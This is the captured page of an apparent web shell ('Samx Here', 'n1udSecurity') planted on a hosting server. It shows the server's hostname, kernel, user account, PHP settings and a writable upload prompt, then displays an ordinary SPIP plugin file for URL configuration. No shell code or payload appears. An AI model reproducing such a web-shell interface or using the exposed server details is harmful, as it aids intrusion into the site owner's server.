Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/infant/plugins-dist/urls_etendues/formulaires/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/infant/plugins-dist/urls_etendues/formulaires/configurer_urls.php
<?php

/***************************************************************************\
 *  SPIP, Système de publication pour l'internet                           *
 *                                                                         *
 *  Copyright © avec tendresse depuis 2001                                 *
 *  Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribué sous licence GNU/GPL.     *
\***************************************************************************/

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

function formulaires_configurer_urls_charger_dist() {
	if (isset($GLOBALS['type_urls'])) { // priorité au fichier d'options
	return '<p>' . _T('urls:erreur_config_url_forcee') . '</p>';
	}

	$valeurs = [
		'type_urls' => $GLOBALS['meta']['type_urls'],
		'urls_activer_controle' => ($GLOBALS['meta']['urls_activer_controle'] ?? ''),
		'_urls_dispos' => type_urls_lister(),
	];

	return $valeurs;
}

function formulaires_configurer_urls_traiter_dist() {
	ecrire_meta('type_urls', _request('type_urls'));
	ecrire_meta('urls_activer_controle', _request('urls_activer_controle') ? 'oui' : 'non');

	return ['message_ok' => _T('config_info_enregistree'), 'editable' => true];
}

function type_urls_lister() {

	$dispo = [];
	foreach (find_all_in_path('urls/', '\w+\.php$', []) as $f) {
		$r = basename($f, '.php');
		if ($r == 'index' or strncmp('generer_', $r, 8) == 0 or $r == 'standard') {
			continue;
		}
		include_once $f;
		$exemple = 'URLS_' . strtoupper($r) . '_EXEMPLE';
		$exemple = defined($exemple) ? constant($exemple) : '?';
		$dispo[_T("urls:titre_type_$r")] = [$r, _T("urls:titre_type_$r"), $exemple];
	}

	ksort($dispo);

	return $dispo;
}

SAMX